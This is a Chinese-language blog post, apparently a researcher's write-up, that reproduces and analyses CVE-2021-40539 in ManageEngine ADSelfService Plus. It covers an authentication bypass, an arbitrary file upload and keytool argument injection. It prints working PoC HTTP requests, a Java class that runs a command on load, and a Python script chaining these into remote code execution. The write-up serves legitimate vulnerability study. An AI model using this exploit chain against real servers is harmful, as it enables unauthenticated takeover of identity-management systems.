ManageEngine ADSelfService Plus 历史漏洞CVE-2021-40539分析
2022-8-6 23:51:5 Author: xz.aliyun.com(查看原文) 阅读量:37 收藏

概述

ZOHO ManageEngine ADSelfService Plus是美国卓豪(ZOHO)公司的针对 Active Directory 和云应用程序的集成式自助密码管理和单点登录解决方案。

CVE-2021-40539是一个身份认证绕过漏洞,可能导致任意远程代码执行 (RCE)。 根据官方信息,在2021年11月7日的6114版本中得到修复。

据CISA,CVE-2021-40539 已在野漏洞利用中被检测到,黑客可以利用此漏洞来控制受影响的系统。

作为JAVA安全研究菜鸟,本篇文章的思路是按照已知这个漏洞存在,并且知道poc的前提下,进行漏洞的复现以及原理的分析。在复现过程中发现与其它大佬分析的一些不同处,简单记录,一方面供新手参考;另一方面继续积累java漏洞模式理解,为后续开展漏洞挖掘做准备工作。

环境搭建

软件环境

官网只提供最新版下载,在下载网站可以下载到5.8版本

安装过程中有个坑,图形化界面安装到最后阶段后会卡在一个界面过不去,参考其他大佬的一些做法,我重启了自己的机器,然后运行安装目录下的C:\ManageEngine\ADSelfService Plus\bin\run.bat,即可开始文字界面的安装选择,然后就可以根据默认的8888端口(http),或者9251端口(https)打开web界面

调试环境配置

将C:\ManageEngine\ADSelfService Plus复制到我的Mac环境下,使用idea打开

在目标bin/run.bat中添加一行(这行命令直接去idea里面复制即可)

set JAVA_OPTS=%JAVA_OPTS% -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

然后停止服务,再双击run.bat重新以调试模式启动

在idea中设置相关调试设置

我们的调试环境就配置完成了

要怎么检验是否成功配置好了呢,可以查看C:\ManageEngine\ADSelfService Plus\webapps\adssp\WEB-INF\web.xml文件,可以看到以下内容

<filter>
        <filter-name>AssociateCredential</filter-name>
        <filter-class>com.adventnet.authentication.filter.AssociateCredential</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>AssociateCredential</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

可知,任意url模式下,都会触发AssociateCredential这个filter,因此,尝试在这个filter的doFilter函数下断点,随便访问一个页面,如果能断下来,则证明调试环境配置成功

尝试随便请求一个页面http://127.0.0.1:8888/authorization.do,发现果然断了下来,证明调试环境搭建成功

漏洞分析

认证绕过漏洞

认证绕过漏洞的一个例子是

POST /./RestAPI/LogonCustomization HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

methodToCall=previewMobLogo

默认请求

但加上/./则可绕过认证

尝试分析一下这个流程,java应用中的web.xml是用来初始化配置信息,Welcome页面、servlet、servlet-mapping、filter、listener、启动加载级别等都可以在web.xml中定义

根据/./RestAPI/LogonCustomization这个url可以看到以下内容

<servlet>
        <servlet-name>action</servlet-name>
        <servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
        <init-param>
            <param-name>config</param-name>
            <param-value>/WEB-INF/struts-config.xml, /WEB-INF/accounts-struts-config.xml, /adsf/struts-config.xml, /WEB-INF/api-struts-config.xml, /WEB-INF/mobile/struts-config.xml</param-value>
        </init-param>
        <init-param>
            <param-name>validate</param-name>
            <param-value>true</param-value>
        </init-param>
        <init-param>
            <param-name>chainConfig</param-name>
            <param-value>org/apache/struts/tiles/chain-config.xml</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>
<servlet-mapping>
    <servlet-name>action</servlet-name>
    <url-pattern>/RestAPI/*</url-pattern>
</servlet-mapping>

证明请求/./RestAPI/LogonCustomization时候首先会调用到org.apache.struts.action.ActionServlet内容

因此直接尝试在其中doPost函数中下个断点

在下断点后,尝试发送正常的不带/./的请求

POST /RestAPI/LogonCustomization HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

methodToCall=previewMobLogo

发现并不会触发断点

但是尝试请求

POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

methodToCall=previewMobLogo

发现可以触发断点

以上测试可以证明的是,认证校验代码并不存在org.apache.struts.action.ActionServlet以及之后的数据处理中,而应该在到org.apache.struts.action.ActionServlet之前的处理中,显然,应该是在filter中,尝试去看看这个url都会触发什么filter

根据web.xml,/RestAPI/LogonCustomization会按顺序触发以下filter

AssociateCredential
EncodingFilter
METrackFilter
ADSFilter

当然如果尝试在ActionServlet中下断点,看一下触发流程也可以知道有哪些filter

尝试在这几个filter的doFilter函数中都下断点

另外保留org.apache.struts.action.ActionServlet中的断点

在我们尝试发送认证绕过的数据包时候,这些filter以及ActionServlet均会触发

但是在尝试发送不带/./的普通数据包的时候,发现四个filter也都会被触发,但是却触发不了ActionServlet

两种情况相对比即可证明,针对restAPI的校验的逻辑应该是存在于最后的filter——ADSFilter中,因此,将认证绕过漏洞我们的分析重点放在ADSFilter对象中

要通过这个filter的检查,意味着不能return,要运行到最后filterChain.doFilter(request, response)这一行才可以

通过动态跟踪,发现使用不带绕过的url——/RestAPI/LogonCustomization时候,会在以下这一行return

restApiUrlPattern = this.filterParams.has("API_URL_PATTERN") ? this.filterParams.getString("API_URL_PATTERN") : "/RestAPI/.*";
if (Pattern.matches(restApiUrlPattern, reqURI) && !RestAPIFilter.doAction(servletRequest, servletResponse, this.filterParams, this.filterConfig)) {
    return;
}

证明这里的检查没有通过,另一方面也证明我们使用/./RestAPI/LogonCustomization绕过的正是此处认证,尝试分析一下检查逻辑

在这段代码前边是以下逻辑,检查requrl是否匹配.*.do|.*.cc|/webclient/index.html模式,如果匹配则进行相应的认证凭证校验

我们请求的/RestAPI/*不符合以上模式,因此会继续向下运行

其中Pattern.matches(restApiUrlPattern, reqURI)reqURI是我们请求的url,分析前边代码可知restApiUrlPattern的值为/RestAPI/.*,因此当我们请求的url为/./RestAPI/LogonCustomization很容易绕过这句判断,因为后边又紧跟着&&,因此只要这个判断不通过就不会return,绕过认证

任意文件上传漏洞

poc如下:

POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 192.168.1.106:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------39411536912265220004317003537
Te: trailers
Connection: close
Content-Length: 1212

-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="methodToCall"

unspecified
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="Save"

yes
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="form"

smartcard
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="operation"

Add
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="test.txt"
Content-Type: application/octet-stream

arbitrary content
-----------------------------39411536912265220004317003537--

尝试发包

结果会在bin目录下创建test.txt这个文件,内容为arbitrary content

尝试分析逻辑

还是先看web.xml,

.....
    <servlet>
        <servlet-name>action</servlet-name>
        <servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
        <init-param>
.....
<servlet-mapping>
    <servlet-name>action</servlet-name>
    <url-pattern>/RestAPI/*</url-pattern>
</servlet-mapping>
.....

显然这里使用了structs,想要找到具体的逻辑,我们去参考web.xml同目录下的struts-config.xml文件,搜索LogonCustomization

<action path="/LogonCustomization" type="com.adventnet.sym.adsm.common.webclient.admin.LogonCustomization" name="LogonCustomBean" validate="false" parameter="methodToCall" scope="request">
<forward name="LogonCustomization" path="LogonCustomizationPage"/>
</action>

因为poc中methodToCall的值是unspecified,初步确定相关逻辑在LogonCustomization中的unspecified函数中

public ActionForward unspecified(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
        AdventNetResourceBundle rb = ResourceBundleMgr.getInstance().getBundle(request);
        String message = "";
        String messageType = "";

        try {
            DynaActionForm dynForm = (DynaActionForm)form;
            Long loginId = (Long)request.getSession().getAttribute("ADMP_SESSION_LOGIN_ID");
            ArrayList logonList = DomainUtil.getDomainShowStatus();
            ArrayList loginAttrList = DomainUtil.getLoginAttrPropList();
            request.setAttribute("forwardTo", "LogonSettings");
            int j;
            Properties p;
            String domainName;
            String formDomainStatus;
            String loginAttrEnableStatus;
            String operation;
            String formValue;
            String ldapName;
            if (request.getParameter("Save") != null) {
                message = rb.getString("adssp.common.text.success_update");
                messageType = "success";
                if ("mob".equalsIgnoreCase(request.getParameter("form"))) {
                    this.saveMobileSettings(logonList, request);
                    request.setAttribute("form", "mob");
                } else if ("smartcard".equalsIgnoreCase(request.getParameter("form"))) {
                    operation = request.getParameter("operation");
                    SmartCardAction sCAction = new SmartCardAction();
                    if (operation.equalsIgnoreCase("Add")) {
                        request.setAttribute("CERTIFICATE_FILE", ClientUtil.getFileFromRequest(request, "CERTIFICATE_PATH"));
                        request.setAttribute("CERTIFICATE_NAME", ClientUtil.getUploadedFileName(request, "CERTIFICATE_PATH"));
                        sCAction.addSmartCardConfig(mapping, dynForm, request, response);
                    } else if (operation.equalsIgnoreCase("Update")) {
                        sCAction.updateSmartCardConfig(mapping, form, request, response);
                    }

                    if (request.getAttribute("SMART_CARD_DETAILS") != null) {
                        JSONObject status = (JSONObject)request.getAttribute("SMART_CARD_DETAILS");
                        if (status.has("eSTATUS")) {
                            messageType = "error";
                            message = rb.getString((String)status.get("eSTATUS"));
                        } else {
                            messageType = "success";
                            message = rb.getString((String)status.get("sSTATUS"));
                        }
                    }
                } else {
                    for(j = 0; j < formElements.length; ++j) {
                        formValue = (String)dynForm.get(formElements[j]);
                        if (formValue != null && j != 1) {
                            ADSMPersUtil.updateSyMParameter(dbElements[j], formValue);
                        }
                    }

                    int j;
                    if (dynForm.get("SHOW_CAPTCHA_LOGIN_PAGE").toString().equals("true") || dynForm.get("SHOW_CAPTCHA_RUL_PAGE").toString().equals("true")) {
                        if ((Boolean)dynForm.get("CUSTOM_CAPTCHA")) {
                            j = Integer.parseInt(dynForm.get("MAX_INVALID_LOGIN").toString());
                            j = Integer.parseInt(dynForm.get("RESET_TIME").toString());
                            CaptchaUtil.updateLogonCaptchaSettings(true, j, j);
                        } else {
                            CaptchaUtil.updateLogonCaptchaSettings(false, 0, 0);
                        }
                    }

                    if ("true".equalsIgnoreCase((String)dynForm.get("showDomainBox"))) {
                        for(j = 0; j < logonList.size(); ++j) {
                            p = (Properties)logonList.get(j);
                            domainName = (String)p.get("DOMAIN_NAME");
                            int formStatus = 0;
                            formDomainStatus = request.getParameter(domainName + "_CHK");
                            if ("true".equalsIgnoreCase(formDomainStatus)) {
                                formStatus = 1;
                            }

                            DomainUtil.addUpdateLogonDomains(domainName, new String[]{"DISPLAY_STATUS"}, new int[]{formStatus});
                        }
                    }

                    ArrayList finalList = new ArrayList();

                    for(j = 0; j < loginAttrList.size(); ++j) {
                        Properties p = (Properties)loginAttrList.get(j);
                        ldapName = (String)p.get("LDAP_NAME");
                        Boolean enableStatus = (Boolean)p.get("ENABLE_STATUS");
                        loginAttrEnableStatus = request.getParameter(ldapName + "_LCHK");
                        if ("true".equalsIgnoreCase(loginAttrEnableStatus)) {
                            enableStatus = true;
                        } else {
                            enableStatus = false;
                        }

                        Properties savedProp = new Properties();
                        savedProp.put("LDAP_NAME", ldapName);
                        savedProp.put("ENABLE_STATUS", enableStatus);
                        finalList.add(savedProp);
                    }

                    DomainUtil.setLoginAttributeList(finalList);
                    Hashtable props = new Hashtable();
                    domainName = request.getParameter("ACCESS_CONTROL");
                    props.put("ACCESS_CONTROL", domainName == null ? "" : domainName);
                    UserUtil.setUserPersonal(loginId, props);
                    if (dynForm.get("HIDE_MACCESS_BUTTON").toString().equals("false")) {
                        CommonUtil.generateQrForSettingsConfiguration();
                    }

                    if (dynForm.get("userDisclaimerEnable").toString().equals("true")) {
                        ADSMPersUtil.updateUDEnableSettings("true");
                    } else {
                        ADSMPersUtil.updateUDEnableSettings("false");
                    }
                }
            } else if (!"mob".equalsIgnoreCase(request.getParameter("form"))) {
                if ("sso".equalsIgnoreCase(request.getParameter("form"))) {
                    message = rb.getString((String)request.getAttribute("ssoMessage"));
                    messageType = (String)request.getAttribute("ssoMessageType");
                    request.setAttribute("form", "sso");
                }
            } else {
                for(j = 0; j < logonList.size(); ++j) {
                    p = (Properties)logonList.get(j);
                    domainName = (String)p.get("DOMAIN_NAME");
                    DomainUtil.addUpdateLogonDomains(domainName, new String[]{"MOBILE_DISPLAY_STATUS"}, new int[]{1});
                }

                operation = request.getParameter("resetMobSettings");
                if (operation != null && operation.equals("true")) {
                    MobileUtil.resetMobileSettings();
                }

                request.setAttribute("form", "mob");
            }

            for(j = 0; j < formElements.length; ++j) {
                dynForm.set(formElements[j], ADSMPersUtil.getSyMParameter(dbElements[j]));
            }

            request.setAttribute("MOBILE_SETTINGS", MobileUtil.getMobileAppSettings());
            MobileUtil.removeTempImage();
            Hashtable userDisclaimerDetails = ADSMPersUtil.getUserDisclaimerSettings();
            formValue = (String)userDisclaimerDetails.get("USER_DISCLAIMER_ENABLE_STATUS");
            domainName = (String)userDisclaimerDetails.get("USER_DISCLAIMER_TITLE");
            ldapName = (String)userDisclaimerDetails.get("USER_DISCLAIMER_CONTENT");
            formDomainStatus = (String)userDisclaimerDetails.get("USER_DISCLAIMER_CHKBOX_CONTENT");
            loginAttrEnableStatus = (String)userDisclaimerDetails.get("USER_DISCLAIMER_AGREE_CHKBOX");
            dynForm.set("userDisclaimerEnable", formValue);
            dynForm.set("userDisclaimerAgreeEnable", loginAttrEnableStatus);
            dynForm.set("resetDisclaimerStatus", "false");
            request.setAttribute("USER_DISCLAIMER_TITLE", domainName);
            request.setAttribute("USER_DISCLAIMER_CONTENT", ldapName);
            request.setAttribute("USER_DISCLAIMER_CHKBOX_CONTENT", formDomainStatus);
            if (request.getParameter("form") != null) {
                request.setAttribute("form", request.getParameter("form"));
            }

            JSONObject capParams = CaptchaUtil.getLogonCaptchaSettings();
            if (capParams.getBoolean("IS_ENABLED")) {
                dynForm.set("MAX_INVALID_LOGIN", capParams.getInt("MAX_INVALID_LOGIN"));
                dynForm.set("RESET_TIME", capParams.getInt("TIME_TO_RESET"));
                dynForm.set("CUSTOM_CAPTCHA", true);
            } else {
                dynForm.set("CUSTOM_CAPTCHA", false);
            }

            Hashtable hash = UserUtil.getUserPersonal(loginId, new String[]{"ACCESS_CONTROL"});
            String val = (String)hash.get("ACCESS_CONTROL");
            if (val == null || val.equals("-")) {
                val = "";
            }

            dynForm.set("ACCESS_CONTROL", val);
            if ("true".equalsIgnoreCase((String)dynForm.get("showDomainBox"))) {
                logonList = DomainUtil.getDomainShowStatus();
            }

            request.setAttribute("logonList", logonList);
            String sso = ADSMPersUtil.getSyMParameter("SSOAuthType");
            if (sso != null) {
                request.setAttribute("SSOAuthType", ADSMPersUtil.getSyMParameter("SSOAuthType"));
            }

            request.setAttribute("SingleSingOn", ADSMPersUtil.getSyMParameter("SingleSignOn"));
            loginAttrList = DomainUtil.getLoginAttrPropList();
            request.setAttribute("loginAttrList", loginAttrList);
            ArrayList domList = new ArrayList();

            for(int j = 0; j < logonList.size(); ++j) {
                String domainName = (String)((Properties)logonList.get(j)).get("DOMAIN_NAME");
                domList.add(domainName);
            }

            request.setAttribute("domainSSOProps", NTLMHandler.getSSOProps(domList));
            SmartCardAction sCAction = new SmartCardAction();
            sCAction.getSmartCardConfig(mapping, form, request, response);
        } catch (Exception var25) {
            var25.printStackTrace();
            message = var25.getMessage();
        }

        request.setAttribute("SAMLIDPAuthDetails", SAMLIDPAuthHandler.getSAMLIdpList());
        request.setAttribute("SAMLIDPConfigDetails", SAMLIDPAuthHandler.getSAMLConfigurations("LOGIN_AUTH"));
        request.setAttribute("SAML_LOGIN_PATH", SAMLIDPAuthHandler.getAuthParamValue("AUTH_LOGIN_URL"));
        request.setAttribute("SAML_LOGOUT_PATH", SAMLIDPAuthHandler.getAuthParamValue("AUTH_LOGOUT_URL"));
        request.setAttribute("URL_CONFIG_ID_GEN", ProductUniqueSeqGenerator.generateUniqueIdentifier());
        request.setAttribute("message", message);
        request.setAttribute("messageType", messageType);
        return mapping.findForward("LogonCustomization");
    }

当满足SVAE参数是yes,form参数是smartcard,operation参数值为Add时,会运行至这一行

sCAction.addSmartCardConfig(mapping, dynForm, request, response);

当请求数据中不包含CERTIFICATE_FILE参数,会运行至这一行

JSONObject certFileJson = FileUtil.getFileFromRequest(request, form, "CERTIFICATE_PATH");

进入getFileFromRequest方法

发现会从CERTIFICATE_PATH这个form中取出filename以及内容,创建新文件,造成任意文件上传

并且注意,此处fileName = formFile.getFileName()取到的直接是最终的文件内容,如果我们输入..\test.txt或者license\test.txt是无效的,取出内容依然是test.txt

RCE漏洞

RCE漏洞是匹配文件上传漏洞一起使用的,用于执行之前上传的文件

poc如下:

POST /./RestAPI/Connection HTTP/1.1
Host: 192.168.1.105:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Te: trailers
Connection: close
Content-Length: 132

methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+"C:\ManageEngine\ADSelfService+Plus\bin"

参考struts-config.xml文件可以快速找到代码逻辑实现

<action path="/Connection" type="com.adventnet.sym.adsm.common.webclient.admin.ConnectionAction" parameter="methodToCall" name="personaliseForm" scope="request">
<forward name="ConnectionSettings" path="ConnectionSettings"/>
<forward name="SSLTool" path="SSLTool"/>
</action>

前往ConnectionAction中openSSLTool查看代码实现

public ActionForward openSSLTool(ActionMapping actionMap, ActionForm actionForm, HttpServletRequest request, HttpServletResponse response) throws Exception {
        String action = request.getParameter("action");
        if (action != null && action.equals("generateCSR")) {
            SSLUtil.createCSR(request);
        }

        return actionMap.findForward("SSLTool");
    }

根据代码,在判断请求数据中action参数generateCSR后即调用SSLUtil.createCSR

public static void createCSR(HttpServletRequest request) throws Exception {
        JSONObject sslParams = new JSONObject();
        sslParams.put("COMMON_NAME", request.getParameter("NAME"));
        sslParams.put("SAN_NAME", request.getParameter("SAN_NAME"));
        sslParams.put("OU", request.getParameter("OU"));
        sslParams.put("ORGANIZATION", request.getParameter("ORGANIZATION"));
        sslParams.put("LOCALITY", request.getParameter("LOCALITY"));
        sslParams.put("STATE", request.getParameter("STATE"));
        sslParams.put("COUNTRY_CODE", request.getParameter("COUNTRY_CODE"));
        sslParams.put("PASSWORD", request.getParameter("PASSWORD"));
        sslParams.put("VALIDITY", request.getParameter("VALIDITY"));
        sslParams.put("KEY_LENGTH", request.getParameter("KEY_LENGTH"));
        JSONObject csrStatus = createCSR(sslParams);
        if (csrStatus.has("eStatus")) {
            request.setAttribute("status", customizeError(csrStatus.getString("eStatus")));
        } else {
            request.setAttribute("status", "success");
        }

    }

从request中获取参数值后调用createCSR

public static JSONObject createCSR(JSONObject sslSettings) throws Exception {
        ........
        StringBuilder keyCmd = new StringBuilder("..\\jre\\bin\\keytool.exe  -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass ");
        keyCmd.append(password);
        keyCmd.append(" -storePass ").append(password);
        String keyLength = sslSettings.getString("KEY_LENGTH");
        if (keyLength != null && !keyLength.equals("")) {
            keyCmd.append(" -keysize ").append(keyLength);
        }

        String validity = sslSettings.getString("VALIDITY");
        if (validity != null && !validity.equals("")) {
            keyCmd.append(" -validity ").append(validity);
        }

        String san_name = sslSettings.getString("SAN_NAME");
        keyCmd.append(" -dName \"CN=").append(ClientUtil.keyToolEscape(sslSettings.getString("COMMON_NAME")));
        keyCmd.append(", OU= ").append(ClientUtil.keyToolEscape(sslSettings.getString("OU")));
        keyCmd.append(", O=").append(ClientUtil.keyToolEscape(sslSettings.getString("ORGANIZATION")));
        keyCmd.append(", L=").append(ClientUtil.keyToolEscape(sslSettings.getString("LOCALITY")));
        keyCmd.append(", S=").append(ClientUtil.keyToolEscape(sslSettings.getString("STATE")));
        keyCmd.append(", C=").append(ClientUtil.keyToolEscape(sslSettings.getString("COUNTRY_CODE")));
        keyCmd.append("\" -keystore ..\\jre\\bin\\SelfService.keystore");
        .........
        String status = runCommand(keyCmd.toString());
    }
}

createCSR方法中,会拼接各字段值然后调用runCommand执行,其中对于大部分参数都是用了keyToolEscape针对特殊字符进行了转义,只有KEY_LENGTH以及VALIDITY两个字段没有被转义,因此可以利用这两个字段

静态大概分析清楚了,尝试动态调试,将断点下载createCSR对象runCommand这一行

但是尝试使用burp发送poc数据包,却并没有断下来,尝试单步,发现在函数第一行sslSettings.getString("COMMON_NAME")中报错进入异常处理

猜测应该是没有这个参数导致触发异常,看看下面还要区PASSWORD等其他参数的值,因此尝试修改poc,在其中加入这些字段参数

POST /./RestAPI/Connection HTTP/1.1
Host: 192.168.1.105:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Te: trailers
Connection: close
Content-Length: 249

methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+"C:\ManageEngine\ADSelfService+Plus\bin"&NAME=test&VALIDITY=abc&PASSWORD=pasword&SAN_NAME=san&OU=ou&ORGANIZATION=og&LOCALITY=loc&STATE=state&COUNTRY_CODE=123

发现此时才可以成功触发断点

keycommand的值为..\jre\bin\keytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass "pasword" -storePass "pasword" -keysize 1024 -providerclass Si -providerpath "C:\ManageEngine\ADSelfService Plus\bin" -validity abc -dName "CN=test, OU= ou, O=og, L=loc, S=state, C=123" -keystore ..\jre\bin\SelfService.keystore -ext SAN=dns:san

其中-providerpath后边的"C:\ManageEngine\ADSelfService Plus\bin"内容是我们注入的内容

下一步尝试看一下这条命令执行的含义

可知使用-providerpath以及-providerclass参数提供方类路径和类名,将要执行的代码放在静态区即可成功运行

漏洞利用

漏洞利用思路即利用三个漏洞,先上传编译好的带有命令执行的class文件,然后使用RCE漏洞触发上传的类中的静态方法

创建Si.java文件

import java.io.*;
public class Si{
    static{
        try{
            Runtime rt = Runtime.getRuntime();
            Process proc = rt.exec("calc");
        }catch (IOException e){}
    }
}

编译该文件生成Si.class

javac Si.java

然后使用任意文件上传漏洞上传Si.class,然后再使用RCE漏洞触发Si这个类中的静态代码——执行calc.exe。因为生成的Si.class包含不可见字符,因此,简单写一个脚本来完成最后这两步实现印证

import requests
from time import sleep

def upload(ip):
    url = 'http://{ip}:8888/%2e/RestAPI/LogonCustomization'.format(ip=ip)
    print(url)
    data = {"methodToCall":"unspecified", "Save":"yes","form":"smartcard","operation":"Add"}
    files = {'CERTIFICATE_PATH': ('Si.class', open('Si.class', 'rb'))}
    requests.post(url=url,data=data,files=files)
    return True


def runcmd(ip):
    url = 'http://{ip}:8888/%2e/RestAPI/Connection'.format(ip=ip)
    data = {"methodToCall":'openSSLTool',"action":'generateCSR',"KEY_LENGTH":'1024 -providerclass Si -providerpath "C:\ManageEngine\ADSelfService+Plus\bin"',"NAME":'test',"VALIDITY":1,"PASSWORD":'pasword','SAN_NAME':'san',"OU":'ou','ORGANIZATION':'og','LOCALITY':'loc','STATE':'state','COUNTRY_CODE':'123'}
    requests.post(url=url,data=data)


def main():
    ip = '172.16.113.169'
    upload(ip)
    sleep(3)
    runcmd(ip)


if __name__ == "__main__":
    main()

运行可成功执行计算器

另外在这里记录一个很操蛋的问题,我这个脚本开始一直使用proxy通过burp发送不成功,但是不使用burp的proxy直接发送能成功,最后判断是因为burp会自动省略掉url里面的/./,很奇怪,不知道是bug还是burp自己刻意做的优化,如果是优化的话实在感觉很画蛇添足

参考

  1. ManageEngine ADSelfService Plus(CVE-2021-40539)漏洞分析

  2. ManageEngine ADSelfService Plus CVE-2021-40539 漏洞分析

  3. HOW TO EXPLOIT CVE-2021-40539 ON MANAGEENGINE ADSELFSERVICE PLUS

  4. CVE-2021-40539


文章来源: https://xz.aliyun.com/t/11589
如有侵权请联系:admin#unsafe.sh